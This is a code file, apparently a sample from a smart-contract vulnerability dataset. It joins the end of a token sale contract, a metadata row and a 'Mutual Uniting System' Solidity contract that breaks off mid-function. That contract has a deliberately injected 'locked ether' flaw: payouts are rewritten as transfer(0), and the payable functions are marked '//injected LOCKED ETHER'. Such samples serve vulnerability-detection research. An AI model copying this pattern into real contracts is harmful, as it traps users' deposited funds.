function transfer(address _to, uint256 _amount) public returns (bool success) {
require(isLocked(msg.sender) == false);
require(isLocked(_to) == false);
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(isLocked(_from) == false);
require(isLocked(_to) == false);
return super.transferFrom(_from, _to, _amount);
}
function setIcoContract(address _icoContract) public onlyOwner {
// Allow to set the ICO contract only once
require(icoContract == address(0));
require(_icoContract != address(0));
icoContract = _icoContract;
}
function sell(address buyer, uint256 tokens) public returns (bool success) {
require (icoContract != address(0));
// The sell() method can only be called by the fixedly-set ICO contract
require (msg.sender == icoContract);
require (tokens > 0);
require (buyer != address(0));
// Only whitelisted address can buy tokens. Otherwise, refund
require (isWhitelisted(buyer));
require (totalTokenIssued.add(tokens) <= TOKEN_SUPPLY_MAINSALE_LIMIT);
// Register tokens issued to the buyer
balances[buyer] = balances[buyer].add(tokens);
// Update total amount of tokens issued
totalTokenIssued = totalTokenIssued.add(tokens);
emit Transfer(address(MAINSALE_EVENT), buyer, tokens);
return true;
}
function rewardAirdrop(address _to, uint256 _amount) public onlyOwner {
// this check also ascertains _amount is positive
require(_amount <= TOKEN_SUPPLY_AIRDROP_LIMIT);
require(airDropTokenIssuedTotal < TOKEN_SUPPLY_AIRDROP_LIMIT);
uint256 remainingTokens = TOKEN_SUPPLY_AIRDROP_LIMIT.sub(airDropTokenIssuedTotal);
if (_amount > remainingTokens) {
_amount = remainingTokens;
}
// Register tokens to the receiver
balances[_to] = balances[_to].add(_amount);
// Update total amount of tokens issued
airDropTokenIssuedTotal = airDropTokenIssuedTotal.add(_amount);
// Lock the receiver
rewardTokenLocked[_to] = true;
emit Transfer(address(AIRDROP_EVENT), _to, _amount);
}
function rewardBounty(address _to, uint256 _amount) public onlyOwner {
// this check also ascertains _amount is positive
require(_amount <= TOKEN_SUPPLY_BOUNTY_LIMIT);
require(bountyTokenIssuedTotal < TOKEN_SUPPLY_BOUNTY_LIMIT);
uint256 remainingTokens = TOKEN_SUPPLY_BOUNTY_LIMIT.sub(bountyTokenIssuedTotal);
if (_amount > remainingTokens) {
_amount = remainingTokens;
}
// Register tokens to the receiver
balances[_to] = balances[_to].add(_amount);
// Update total amount of tokens issued
bountyTokenIssuedTotal = bountyTokenIssuedTotal.add(_amount);
// Lock the receiver
rewardTokenLocked[_to] = true;
emit Transfer(address(BOUNTY_EVENT), _to, _amount);
}
function rewardBountyMany(address[] addrList, uint256[] amountList) public onlyOwner {
require(addrList.length == amountList.length);
for (uint256 i = 0; i < addrList.length; i++) {
rewardBounty(addrList[i], amountList[i]);
}
}
function rewardAirdropMany(address[] addrList, uint256[] amountList) public onlyOwner {
require(addrList.length == amountList.length);
for (uint256 i = 0; i < addrList.length; i++) {
rewardAirdrop(addrList[i], amountList[i]);
}
}
function handlePresaleToken(address _to, uint256 _amount) public onlyOwner {
require(_amount <= TOKEN_SUPPLY_SEED_PRESALE_LIMIT);
require(seedAndPresaleTokenIssuedTotal < TOKEN_SUPPLY_SEED_PRESALE_LIMIT);
uint256 remainingTokens = TOKEN_SUPPLY_SEED_PRESALE_LIMIT.sub(seedAndPresaleTokenIssuedTotal);
require (_amount <= remainingTokens);
// Register tokens to the receiver
balances[_to] = balances[_to].add(_amount);
// Update total amount of tokens issued
seedAndPresaleTokenIssuedTotal = seedAndPresaleTokenIssuedTotal.add(_amount);
emit Transfer(address(PRESALE_EVENT), _to, _amount);
// Also add to whitelist
set(_to);
}
function handlePresaleTokenMany(address[] addrList, uint256[] amountList) public onlyOwner {
require(addrList.length == amountList.length);
for (uint256 i = 0; i < addrList.length; i++) {
handlePresaleToken(addrList[i], amountList[i]);
}
}
}
| 181,508 | 11,112 |
2217ba7144ca05452da2cd114cabc1b645782e4a85c1197a813e8f6a0bae20c9
| 36,629 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/lockedEther/manualCheck/0x9bdf81e6066d32764b7e75a1b5577237e06d9364_lockedEther.sol
| 9,253 | 35,660 |
pragma solidity =0.6.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c=a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c=a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c=a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c=a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract MUSystem{
using SafeMath for uint;
string public constant name="Mutual Uniting System";
string public constant symbol="MUS";
uint public constant decimals=14;
uint public totalSupply;
address payable private creatorOwner;
mapping (address => uint) balances;
struct User{
uint UserTotalAmtWithdrawalCurrentPack;
uint UserWithdrawalFromFirstRefunded;
uint UserTotalAmtDepositCurrentPack;
uint UserAmtDepositCurrentPackTRUE;
uint UserWithdrawalFromDisparity;
uint UserTotalAmtWithdrawal;
uint UserSellTokenPackNum;
bool UserBuyTokenPrevPack;
uint UserTotalAmtDeposit;
uint UserBuyTokenPackNum;
uint UserBuyFirstPack;
uint UserBuyFirstDate;
uint UserContinued;
uint UserFirstAmt;
uint UserSellDate;
uint UserBuyDate;
uint UserCycle;
}
mapping (address => User) users;
struct DepositTemp{
address payable useraddress;
uint p;
uint bonus;
uint userAmt;
uint amtToSend;
uint bonusAmount;
uint userBuyDate;
uint userSellDate;
uint userFirstAmt;
uint userContinued;
uint userAmtToStore;
uint availableTokens;
uint userTokenObtain;
uint userBuyFirstPack;
uint userBuyFirstDate;
uint currentPackNumber;
uint amtForfirstRefund;
uint userBuyTokenPackNum;
uint userTotalAmtDeposit;
uint bonusAmountRefunded;
bool userBuyTokenPrevPack;
uint currentPackStartDate;
uint userAmtOverloadToSend;
uint currentPackTokenPriceSellout;
uint userAmtDepositCurrentPackTRUE;
uint userTotalAmtDepositCurrentPack;
}
struct WithdrawTemp{
address payable useraddress;
uint userTotalAmtWithdrawalCurrentPack;
uint userTokensReturnAboveCurrentPack;
uint userWithdrawalFromFirstRefunded;
uint userTotalAmtDepositCurrentPack;
uint userAmtDepositCurrentPackTRUE;
uint userTokensReturnToCurrentPack;
uint currentPackTokenPriceSellout;
uint currentPackTokenPriceBuyout;
uint withdrawAmtAboveCurrentPack;
uint userWithdrawalFromDisparity;
uint bonusTokensReturnDecrease;
bool returnTokenInCurrentPack;
uint withdrawAmtToCurrentPack;
uint remainsFromFirstRefunded;
uint overallDisparityAmounts;
uint userTotalAmtWithdrawal;
uint useFromFirstRefunded;
uint remainsFromDisparity;
uint TokensReturnDecrease;
uint currentPackStartDate;
uint userAvailableAmount;
uint currentPackDeposits;
uint currentPackNumber;
uint userBuyFirstPack;
uint userTokensReturn;
uint useFromDisparity;
uint overallRefunded;
uint userSellDate;
uint userFirstAmt;
uint userBuyDate;
uint bonusToSend;
uint withdrawAmt;
uint wAtoStore;
uint thisBal;
uint bonus;
uint diff;
uint dsp;
bool ra;
}
uint private Cycle;
uint private PrevPackCost;
bool private feeTransfered;
uint private NextPackDelta;
uint private NextPackYield;
uint private CurrentPackFee;
uint private RestartModeDate;
uint private CurrentPackCost;
uint private OverallDeposits;
uint private OverallRefunded;
uint private PrevPackTotalAmt;
uint private CurrentPackYield;
uint private CurrentPackDelta;
bool private RestartMode=false;
uint private CurrentPackNumber;
uint private OverallWithdrawals;
uint private CurrentPackRestAmt;
uint private CurrentPackTotalAmt;
uint private CurrentPackDeposits;
uint private CurrentPackStartDate;
uint private CurrentPackTotalToPay;
uint private OverallDisparityAmounts;
uint private PrevPackTokenPriceBuyout;
uint private NextPackTokenPriceBuyout;
uint private PrevPackTokenPriceSellout;
uint private CurrentPackTokenPriceBuyout;
uint private CurrentPackDisparityAmounts;
uint private CurrentPackTokenPriceSellout;
uint private CurrentPackTotalToPayDisparity;
constructor()public payable{ //injected LOCKED ETHER
creatorOwner=msg.sender;
CurrentPackNumber=1;
Cycle=0;
mint(5000000000000000);
packSettings(CurrentPackNumber);
}
function packSettings(uint _currentPackNumber)internal{
CurrentPackNumber=_currentPackNumber;
if(_currentPackNumber==1){
CurrentPackTokenPriceSellout=10;
CurrentPackTokenPriceBuyout=10;
CurrentPackCost=50000000000000000;
CurrentPackFee=0;
}
if(_currentPackNumber==2){
PrevPackTotalAmt=CurrentPackCost;
CurrentPackDelta=0;
NextPackTokenPriceBuyout=CurrentPackTokenPriceSellout*110/100;
NextPackYield=NextPackTokenPriceBuyout/CurrentPackTokenPriceSellout;
NextPackDelta=NextPackYield;
CurrentPackTokenPriceSellout=NextPackTokenPriceBuyout+NextPackDelta;
CurrentPackTokenPriceBuyout=CurrentPackTokenPriceSellout;
CurrentPackCost=5000000000000000*CurrentPackTokenPriceSellout;
CurrentPackTotalAmt=CurrentPackCost+PrevPackTotalAmt;
CurrentPackFee=0;
}
if(_currentPackNumber>2){
PrevPackTokenPriceSellout=CurrentPackTokenPriceSellout;
PrevPackTokenPriceBuyout=CurrentPackTokenPriceBuyout;
PrevPackCost=CurrentPackCost;
PrevPackTotalAmt=CurrentPackTotalAmt;
CurrentPackDelta=NextPackDelta;
CurrentPackTokenPriceBuyout=NextPackTokenPriceBuyout;
NextPackTokenPriceBuyout=PrevPackTokenPriceSellout*110;
if(NextPackTokenPriceBuyout<=100){
NextPackTokenPriceBuyout=PrevPackTokenPriceSellout*11/10;
}
if(NextPackTokenPriceBuyout>100){
NextPackTokenPriceBuyout=NextPackTokenPriceBuyout*10**3;
NextPackTokenPriceBuyout=((NextPackTokenPriceBuyout/10000)+5)/10;
}
NextPackYield=NextPackTokenPriceBuyout-PrevPackTokenPriceSellout;
NextPackDelta=NextPackYield*101;
if(NextPackDelta<=100){
NextPackDelta=CurrentPackDelta+(NextPackYield*101/100);
}
if(NextPackDelta>100){
NextPackDelta=NextPackDelta*10**3;
NextPackDelta=((NextPackDelta/10000)+5)/10;
NextPackDelta=CurrentPackDelta+NextPackDelta;
}
CurrentPackTokenPriceSellout=NextPackTokenPriceBuyout+NextPackDelta;
CurrentPackCost=5000000000000000*CurrentPackTokenPriceSellout;
CurrentPackTotalToPay=5000000000000000*CurrentPackTokenPriceBuyout;
CurrentPackTotalAmt=CurrentPackCost+PrevPackTotalAmt-CurrentPackTotalToPay;
CurrentPackFee=PrevPackTotalAmt-CurrentPackTotalToPay-(PrevPackCost*7/10);
}
CurrentPackDisparityAmounts=0;
CurrentPackDeposits=0;
CurrentPackStartDate=now;
emit NextPack(CurrentPackTokenPriceSellout,CurrentPackTokenPriceBuyout);
}
function aboutCurrentPack()public view returns(uint num,uint bal,uint overallRefunded,uint dsp,uint availableTokens,uint availableTokensInPercentage,uint availableAmountToDepositInWei,uint tokenPriceSellout,uint tokenPriceBuyout,uint cycle,uint overallDeposits,uint overallWithdrawals,bool){
if(CurrentPackDeposits+OverallDisparityAmounts>CurrentPackDisparityAmounts+OverallRefunded){
dsp = CurrentPackDeposits+OverallDisparityAmounts-CurrentPackDisparityAmounts-OverallRefunded;
}else{
dsp=0;
}
return(CurrentPackNumber,address(this).balance,OverallRefunded,dsp,balances[address(this)],0,balances[address(this)].mul(CurrentPackTokenPriceSellout),CurrentPackTokenPriceSellout,CurrentPackTokenPriceBuyout,Cycle,OverallDeposits,OverallWithdrawals,RestartMode);
}
function aboutUser()public view returns(uint UserFirstAmt,uint remainsFromFirstRefunded,uint UserContinued,uint userTotalAmtDeposit,uint userTotalAmtWithdrawal,uint userAvailableAmount,uint userAvailableAmount1,uint remainsFromDisparity,uint depCP,uint witCP,uint userCycle,uint wAmtToCurrentPack,uint userBuyFirstDate){
if(users[msg.sender].UserBuyDate>CurrentPackStartDate&&users[msg.sender].UserBuyTokenPackNum==CurrentPackNumber){
wAmtToCurrentPack=users[msg.sender].UserAmtDepositCurrentPackTRUE;
}else{
wAmtToCurrentPack=0;
}
if(users[msg.sender].UserSellDate>CurrentPackStartDate&&users[msg.sender].UserSellTokenPackNum==CurrentPackNumber){
witCP=users[msg.sender].UserTotalAmtWithdrawalCurrentPack;
}else{
witCP=0;
}
if(users[msg.sender].UserBuyDate>CurrentPackStartDate&&users[msg.sender].UserBuyTokenPackNum==CurrentPackNumber){
depCP=users[msg.sender].UserTotalAmtDepositCurrentPack;
}else{
depCP=0;
}
remainsFromFirstRefunded=(users[msg.sender].UserFirstAmt*6/10).sub(users[msg.sender].UserWithdrawalFromFirstRefunded);
remainsFromDisparity=(users[msg.sender].UserFirstAmt*7/10).sub(users[msg.sender].UserWithdrawalFromDisparity);
userAvailableAmount=(balances[msg.sender]-((wAmtToCurrentPack)/CurrentPackTokenPriceSellout))*CurrentPackTokenPriceBuyout+wAmtToCurrentPack;
if(userAvailableAmount>remainsFromDisparity){
userAvailableAmount=userAvailableAmount-remainsFromDisparity;
}else{
userAvailableAmount=0;
}
if (userAvailableAmount<10){
userAvailableAmount=0;
}
uint dsp=0;
if(CurrentPackDeposits+OverallDisparityAmounts>CurrentPackDisparityAmounts+OverallRefunded){
dsp=CurrentPackDeposits+OverallDisparityAmounts-CurrentPackDisparityAmounts-OverallRefunded;
}
if(address(this).balance>dsp){
userAvailableAmount1=address(this).balance-dsp;
}else{
userAvailableAmount1=0;
}
return(users[msg.sender].UserFirstAmt,remainsFromFirstRefunded,users[msg.sender].UserContinued,users[msg.sender].UserTotalAmtDeposit,users[msg.sender].UserTotalAmtWithdrawal,userAvailableAmount,userAvailableAmount1,remainsFromDisparity,depCP,witCP,userCycle,wAmtToCurrentPack,users[msg.sender].UserBuyFirstDate);
}
function nextPack(uint _currentPackNumber)internal{
transferFee();
feeTransfered=false;
CurrentPackNumber=_currentPackNumber+1;
if(_currentPackNumber>0){
mint(5000000000000000);
}
packSettings(CurrentPackNumber);
}
function restart(bool _rm)internal{
if(_rm==true){
if(RestartMode==false){
RestartMode=true;
RestartModeDate=now;
}else{
if(now>RestartModeDate+14*1 days){
Cycle=Cycle+1;
nextPack(0);
RestartMode=false;
}
}
}else{
if(RestartMode==true){
RestartMode=false;
RestartModeDate=0;
}
}
}
function transferFee()internal{
if(CurrentPackNumber>2&&feeTransfered==false&&RestartMode==false){
if(address(this).balance>=CurrentPackFee){
feeTransfered=true;
creatorOwner.transfer(0);
}
}
}
function deposit()public payable{ //injected LOCKED ETHER
DepositTemp memory d;
d.userAmt=msg.value;
d.useraddress=msg.sender;
require(d.userAmt<250 * 1 ether);
d.availableTokens=balances[address(this)];
d.currentPackTokenPriceSellout=CurrentPackTokenPriceSellout;
require(d.userAmt<=d.availableTokens.mul(d.currentPackTokenPriceSellout).add(10*1 ether));
require(d.userAmt.div(d.currentPackTokenPriceSellout)>0);
d.currentPackNumber=CurrentPackNumber;
d.currentPackStartDate=CurrentPackStartDate;
d.userBuyTokenPackNum=users[d.useraddress].UserBuyTokenPackNum;
d.userBuyTokenPrevPack=users[d.useraddress].UserBuyTokenPrevPack;
if(d.userBuyTokenPackNum==d.currentPackNumber-1){
d.userBuyTokenPrevPack=true;
}else{
if(d.userBuyTokenPackNum==d.currentPackNumber&&d.userBuyTokenPrevPack==true){
d.userBuyTokenPrevPack=true;
}else{
d.userBuyTokenPrevPack=false;
}
}
d.userBuyFirstDate=users[d.useraddress].UserBuyFirstDate;
d.userBuyDate=users[d.useraddress].UserBuyDate;
d.userContinued=users[d.useraddress].UserContinued;
d.userTotalAmtDepositCurrentPack=users[d.useraddress].UserTotalAmtDepositCurrentPack;
d.userTotalAmtDeposit=users[d.useraddress].UserTotalAmtDeposit;
if(d.userBuyTokenPackNum==d.currentPackNumber&&d.userBuyDate>=d.currentPackStartDate){
require(d.userTotalAmtDepositCurrentPack.add(d.userAmt)<250*1 ether);
d.userAmtDepositCurrentPackTRUE=users[d.useraddress].UserAmtDepositCurrentPackTRUE;
}else{
d.userTotalAmtDepositCurrentPack=0;
d.userAmtDepositCurrentPackTRUE=0;
}
if(users[d.useraddress].UserSellTokenPackNum==d.currentPackNumber&&users[d.useraddress].UserSellDate>=d.currentPackStartDate){
d.p=users[d.useraddress].UserTotalAmtWithdrawalCurrentPack/20;
require(d.userAmt>d.p);
d.userAmt=d.userAmt.sub(d.p);
}
d.userTokenObtain=d.userAmt/d.currentPackTokenPriceSellout;
if(d.userTokenObtain*d.currentPackTokenPriceSellout<d.userAmt){
d.userTokenObtain=d.userTokenObtain+1;
}
if(d.userTokenObtain>d.availableTokens){
d.amtToSend=d.currentPackTokenPriceSellout*(d.userTokenObtain-d.availableTokens);
d.userAmt=d.userAmt.sub(d.amtToSend);
d.userTokenObtain=d.availableTokens;
}
if(d.userAmt>=100*1 finney){
if(now<=(d.currentPackStartDate+1*1 days)){
d.bonus=d.userTokenObtain*75/10000+1;
}else{
if(now<=(d.currentPackStartDate+2*1 days)){
d.bonus=d.userTokenObtain*50/10000+1;
}else{
if(now<=(d.currentPackStartDate+3*1 days)){
d.bonus=d.userTokenObtain*25/10000+1;
}
}
}
}
if(d.userContinued>=4&&now>=(d.userBuyFirstDate+1*1 weeks)){
d.bonus=d.bonus+d.userTokenObtain/100+1;
}
if(d.bonus>0){
d.userTokenObtain=d.userTokenObtain.add(d.bonus);
if(d.userTokenObtain>d.availableTokens){
d.userAmtOverloadToSend=d.currentPackTokenPriceSellout*(d.userTokenObtain-d.availableTokens);
d.bonusAmountRefunded=d.userAmtOverloadToSend;
d.userTokenObtain=d.availableTokens;
d.amtToSend=d.amtToSend.add(d.userAmtOverloadToSend);
d.bonus=0;
}else{
d.bonusAmount=d.bonus*d.currentPackTokenPriceSellout;
}
}
if(d.userBuyTokenPackNum==0){
d.userContinued=1;
d.userBuyFirstDate=now;
d.userFirstAmt=d.userAmt.add(d.bonusAmount);
d.userBuyFirstPack=d.currentPackNumber;
d.amtForfirstRefund=d.userFirstAmt*6/10;
OverallDisparityAmounts=OverallDisparityAmounts+d.userFirstAmt*7/10;
CurrentPackDisparityAmounts=CurrentPackDisparityAmounts+d.userFirstAmt*7/10;
d.amtToSend=d.amtToSend.add(d.amtForfirstRefund);
OverallRefunded=OverallRefunded+d.amtForfirstRefund;
}else{
d.userFirstAmt=users[d.useraddress].UserFirstAmt;
d.userBuyFirstPack=users[d.useraddress].UserBuyFirstPack;
if(d.userBuyTokenPrevPack==true){
if(d.userBuyTokenPackNum==d.currentPackNumber-1){
d.userContinued=d.userContinued+1;
}
}else{
d.userContinued=1;
}
}
d.userAmtToStore=d.userAmt.add(d.bonusAmount);
d.userTotalAmtDepositCurrentPack=d.userTotalAmtDepositCurrentPack.add(d.userAmtToStore);
d.userTotalAmtDeposit=d.userTotalAmtDeposit.add(d.userAmtToStore);
d.userAmtDepositCurrentPackTRUE=d.userAmtDepositCurrentPackTRUE.add(d.userAmtToStore);
CurrentPackDeposits=CurrentPackDeposits.add(d.userAmtToStore);
OverallDeposits=OverallDeposits.add(d.userAmtToStore);
transfer(address(this),d.useraddress,d.userTokenObtain,false,0,0);
User storage user=users[d.useraddress];
user.UserBuyFirstDate=d.userBuyFirstDate;
user.UserBuyFirstPack=d.userBuyFirstPack;
user.UserBuyTokenPackNum=d.currentPackNumber;
user.UserBuyDate=now;
user.UserFirstAmt=d.userFirstAmt;
user.UserBuyTokenPrevPack=d.userBuyTokenPrevPack;
user.UserContinued=d.userContinued;
user.UserTotalAmtDepositCurrentPack=d.userTotalAmtDepositCurrentPack;
user.UserTotalAmtDeposit=d.userTotalAmtDeposit;
user.UserAmtDepositCurrentPackTRUE=d.userAmtDepositCurrentPackTRUE;
restart(false);
if(balances[address(this)]==0){
nextPack(d.currentPackNumber);
}
emit Deposit(d.useraddress,d.userAmtToStore,d.amtForfirstRefund,d.bonusAmount,d.bonusAmountRefunded,0,d.userTokenObtain,d.bonus,d.currentPackNumber,d.amtToSend);
if(d.amtToSend>0){
d.useraddress.transfer(0);
}
}
function withdraw(uint WithdrawAmount,uint WithdrawTokens,bool AllowToUseDisparity)public{
require(WithdrawTokens>0||WithdrawAmount>0);
require(WithdrawTokens<=balances[msg.sender]);
WithdrawTemp memory w;
w.useraddress=msg.sender;
w.userFirstAmt=users[w.useraddress].UserFirstAmt;
w.userBuyFirstPack=users[w.useraddress].UserBuyFirstPack;
w.currentPackNumber=CurrentPackNumber;
w.currentPackStartDate=CurrentPackStartDate;
w.currentPackTokenPriceSellout=CurrentPackTokenPriceSellout;
w.currentPackTokenPriceBuyout=CurrentPackTokenPriceBuyout;
w.overallRefunded=OverallRefunded;
w.overallDisparityAmounts=OverallDisparityAmounts;
w.userTotalAmtWithdrawal=users[w.useraddress].UserTotalAmtWithdrawal;
w.userWithdrawalFromFirstRefunded=users[w.useraddress].UserWithdrawalFromFirstRefunded;
w.remainsFromFirstRefunded=(w.userFirstAmt*6/10).sub(w.userWithdrawalFromFirstRefunded);
w.userWithdrawalFromDisparity=users[w.useraddress].UserWithdrawalFromDisparity;
w.remainsFromDisparity=(w.userFirstAmt*7/10).sub(w.userWithdrawalFromDisparity);
w.thisBal=address(this).balance;
w.currentPackDeposits=CurrentPackDeposits;
if(users[w.useraddress].UserBuyTokenPackNum==w.currentPackNumber&&users[w.useraddress].UserBuyDate>=w.currentPackStartDate){
w.userTotalAmtDepositCurrentPack=users[w.useraddress].UserTotalAmtDepositCurrentPack;
w.userAmtDepositCurrentPackTRUE=users[w.useraddress].UserAmtDepositCurrentPackTRUE;
w.withdrawAmtToCurrentPack=users[w.useraddress].UserAmtDepositCurrentPackTRUE;
w.returnTokenInCurrentPack=true;
}else{
w.returnTokenInCurrentPack=false;
}
if(users[w.useraddress].UserSellTokenPackNum==w.currentPackNumber&&users[w.useraddress].UserSellDate>=w.currentPackStartDate){
w.userTotalAmtWithdrawalCurrentPack=users[w.useraddress].UserTotalAmtWithdrawalCurrentPack;
}
if(CurrentPackDeposits+OverallDisparityAmounts>CurrentPackDisparityAmounts+OverallRefunded){
w.dsp=CurrentPackDeposits+OverallDisparityAmounts-CurrentPackDisparityAmounts-OverallRefunded;
}else{
w.dsp=0;
}
w.userAvailableAmount=(balances[w.useraddress]-(w.withdrawAmtToCurrentPack/w.currentPackTokenPriceSellout))*w.currentPackTokenPriceBuyout+w.withdrawAmtToCurrentPack;
if(w.thisBal>=w.dsp){
if(w.userAvailableAmount>w.thisBal-w.dsp){
if(w.currentPackNumber==w.userBuyFirstPack){
if(w.userAvailableAmount>w.thisBal-w.dsp+w.userAmtDepositCurrentPackTRUE){
w.userAvailableAmount=w.thisBal-w.dsp+w.userAmtDepositCurrentPackTRUE;
}
}else{
if(w.userAvailableAmount>w.thisBal-w.dsp+w.remainsFromDisparity+w.userAmtDepositCurrentPackTRUE){
w.userAvailableAmount=w.thisBal-w.dsp+w.remainsFromDisparity+w.userAmtDepositCurrentPackTRUE;
}
}
}
}else{
if(w.userAmtDepositCurrentPackTRUE>w.remainsFromDisparity){
if(w.userAvailableAmount>w.userAmtDepositCurrentPackTRUE){
w.userAvailableAmount=w.userAmtDepositCurrentPackTRUE;
}
}else{
if(w.userAvailableAmount>w.remainsFromDisparity){
w.userAvailableAmount=w.remainsFromDisparity;
}
}
if(w.userAvailableAmount>w.thisBal+w.remainsFromFirstRefunded){
w.userAvailableAmount=w.thisBal+w.remainsFromFirstRefunded;
}
if(w.currentPackNumber>2){
w.ra=true;
}
}
if(WithdrawTokens>0&&WithdrawAmount==0){
w.userTokensReturn=WithdrawTokens;
if(w.returnTokenInCurrentPack==true){
w.userTokensReturnToCurrentPack=w.withdrawAmtToCurrentPack.div(w.currentPackTokenPriceSellout);
if(w.userTokensReturn>w.userTokensReturnToCurrentPack){
w.userTokensReturnAboveCurrentPack=w.userTokensReturn.sub(w.userTokensReturnToCurrentPack);
w.withdrawAmtAboveCurrentPack=w.userTokensReturnAboveCurrentPack.mul(w.currentPackTokenPriceBuyout);
}else{
w.withdrawAmtToCurrentPack=w.userTokensReturn.mul(w.currentPackTokenPriceSellout);
w.userTokensReturnToCurrentPack=w.userTokensReturn;
w.withdrawAmtAboveCurrentPack=0;
w.userTokensReturnAboveCurrentPack=0;
}
}else{
w.withdrawAmtToCurrentPack=0;
w.userTokensReturnToCurrentPack=0;
w.userTokensReturnAboveCurrentPack=w.userTokensReturn;
w.withdrawAmtAboveCurrentPack=w.userTokensReturnAboveCurrentPack.mul(w.currentPackTokenPriceBuyout);
}
w.withdrawAmt=w.withdrawAmtToCurrentPack.add(w.withdrawAmtAboveCurrentPack);
}else{
w.withdrawAmt=WithdrawAmount;
}
if(w.withdrawAmt>w.userAvailableAmount){
w.withdrawAmt=w.userAvailableAmount;
}
if(w.remainsFromDisparity>0){
if(w.userAvailableAmount>=w.remainsFromDisparity){
w.userAvailableAmount=w.userAvailableAmount-w.remainsFromDisparity;
}else{
w.userAvailableAmount=0;
}
}
if(w.userAvailableAmount<100){
w.userAvailableAmount=0;
}
if(AllowToUseDisparity==false&&w.remainsFromDisparity>0){
if(w.withdrawAmt>w.userAvailableAmount){
w.withdrawAmt=w.userAvailableAmount;
}
}
if(w.returnTokenInCurrentPack==true){
w.userTokensReturnToCurrentPack=w.withdrawAmtToCurrentPack.div(w.currentPackTokenPriceSellout);
if(w.withdrawAmt>w.withdrawAmtToCurrentPack){
w.withdrawAmtAboveCurrentPack=w.withdrawAmt.sub(w.withdrawAmtToCurrentPack);
w.userTokensReturnAboveCurrentPack=w.withdrawAmtAboveCurrentPack.div(w.currentPackTokenPriceBuyout);
}else{
w.withdrawAmtToCurrentPack=w.withdrawAmt;
w.userTokensReturnToCurrentPack=w.withdrawAmtToCurrentPack.div(w.currentPackTokenPriceSellout);
w.withdrawAmtAboveCurrentPack=0;
w.userTokensReturnAboveCurrentPack=0;
}
}else{
w.withdrawAmtToCurrentPack=0;
w.userTokensReturnToCurrentPack=0;
w.withdrawAmtAboveCurrentPack=w.withdrawAmt;
w.userTokensReturnAboveCurrentPack=w.withdrawAmtAboveCurrentPack.div(w.currentPackTokenPriceBuyout);
}
if(AllowToUseDisparity==true&&w.remainsFromDisparity>0){
if(w.withdrawAmt>w.userAvailableAmount){
w.useFromDisparity=w.withdrawAmt-w.userAvailableAmount;
if(w.remainsFromDisparity<w.useFromDisparity){
w.useFromDisparity=w.remainsFromDisparity;
}
w.userWithdrawalFromDisparity=w.userWithdrawalFromDisparity.add(w.useFromDisparity);
if(w.remainsFromFirstRefunded>0){
if(w.useFromDisparity>w.remainsFromDisparity-w.remainsFromFirstRefunded){
w.useFromFirstRefunded=w.useFromDisparity+w.remainsFromFirstRefunded-w.remainsFromDisparity;
if (w.remainsFromFirstRefunded<w.useFromFirstRefunded){
w.useFromFirstRefunded=w.remainsFromFirstRefunded;
}
w.userWithdrawalFromFirstRefunded=w.userWithdrawalFromFirstRefunded+w.useFromFirstRefunded;
w.withdrawAmt=w.withdrawAmt.sub(w.useFromFirstRefunded);
}
}
}
}
if(balances[address(this)]/50000000000000<10){
w.bonus=(w.withdrawAmt+w.useFromFirstRefunded)/100;
w.bonusToSend=w.bonus;
}
if(w.thisBal>w.dsp&&w.bonus>0){
if(w.withdrawAmt+w.bonus>w.thisBal-w.dsp){
w.bonusToSend=0;
w.diff=w.bonus;
if(w.userTokensReturnAboveCurrentPack>0){
w.bonusTokensReturnDecrease=w.diff/w.currentPackTokenPriceBuyout;
if(w.userTokensReturnAboveCurrentPack>=w.bonusTokensReturnDecrease){
w.userTokensReturnAboveCurrentPack=w.userTokensReturnAboveCurrentPack-w.bonusTokensReturnDecrease;
}else{
w.diff=w.bonusTokensReturnDecrease-w.userTokensReturnAboveCurrentPack;
w.userTokensReturnAboveCurrentPack=0;
w.bonusTokensReturnDecrease=w.diff*w.currentPackTokenPriceBuyout/w.currentPackTokenPriceSellout;
w.userTokensReturnToCurrentPack=w.userTokensReturnToCurrentPack-w.bonusTokensReturnDecrease;
}
}else{
w.bonusTokensReturnDecrease=w.diff/w.currentPackTokenPriceSellout;
if(w.userTokensReturnToCurrentPack>=w.bonusTokensReturnDecrease){
w.userTokensReturnToCurrentPack=w.userTokensReturnToCurrentPack-w.bonusTokensReturnDecrease;
}
}
}
}
if(w.thisBal<=w.dsp){
if(w.bonus>0){
w.bonusToSend=0;
w.diff=w.bonus;
if(w.userTokensReturnAboveCurrentPack>0){
w.bonusTokensReturnDecrease=w.diff/w.currentPackTokenPriceBuyout;
if(w.userTokensReturnAboveCurrentPack>=w.bonusTokensReturnDecrease){
w.userTokensReturnAboveCurrentPack=w.userTokensReturnAboveCurrentPack-w.bonusTokensReturnDecrease;
}else{
w.diff=w.bonusTokensReturnDecrease-w.userTokensReturnAboveCurrentPack;
w.userTokensReturnAboveCurrentPack=0;
w.bonusTokensReturnDecrease=w.diff*w.currentPackTokenPriceBuyout/w.currentPackTokenPriceSellout;
w.userTokensReturnToCurrentPack=w.userTokensReturnToCurrentPack-w.bonusTokensReturnDecrease;
}
}else{
w.bonusTokensReturnDecrease=w.diff/w.currentPackTokenPriceSellout;
if(w.userTokensReturnToCurrentPack>=w.bonusTokensReturnDecrease){
w.userTokensReturnToCurrentPack=w.userTokensReturnToCurrentPack-w.bonusTokensReturnDecrease;
}
}
}
if(w.withdrawAmt>w.thisBal){
w.diff=w.withdrawAmt+100-w.thisBal;
if(w.userTokensReturnAboveCurrentPack>0){
w.TokensReturnDecrease=w.diff/w.currentPackTokenPriceBuyout;
if(w.userTokensReturnAboveCurrentPack>=w.TokensReturnDecrease){
w.userTokensReturnAboveCurrentPack=w.userTokensReturnAboveCurrentPack-w.TokensReturnDecrease;
w.withdrawAmtAboveCurrentPack=w.userTokensReturnAboveCurrentPack*w.currentPackTokenPriceBuyout;
}else{
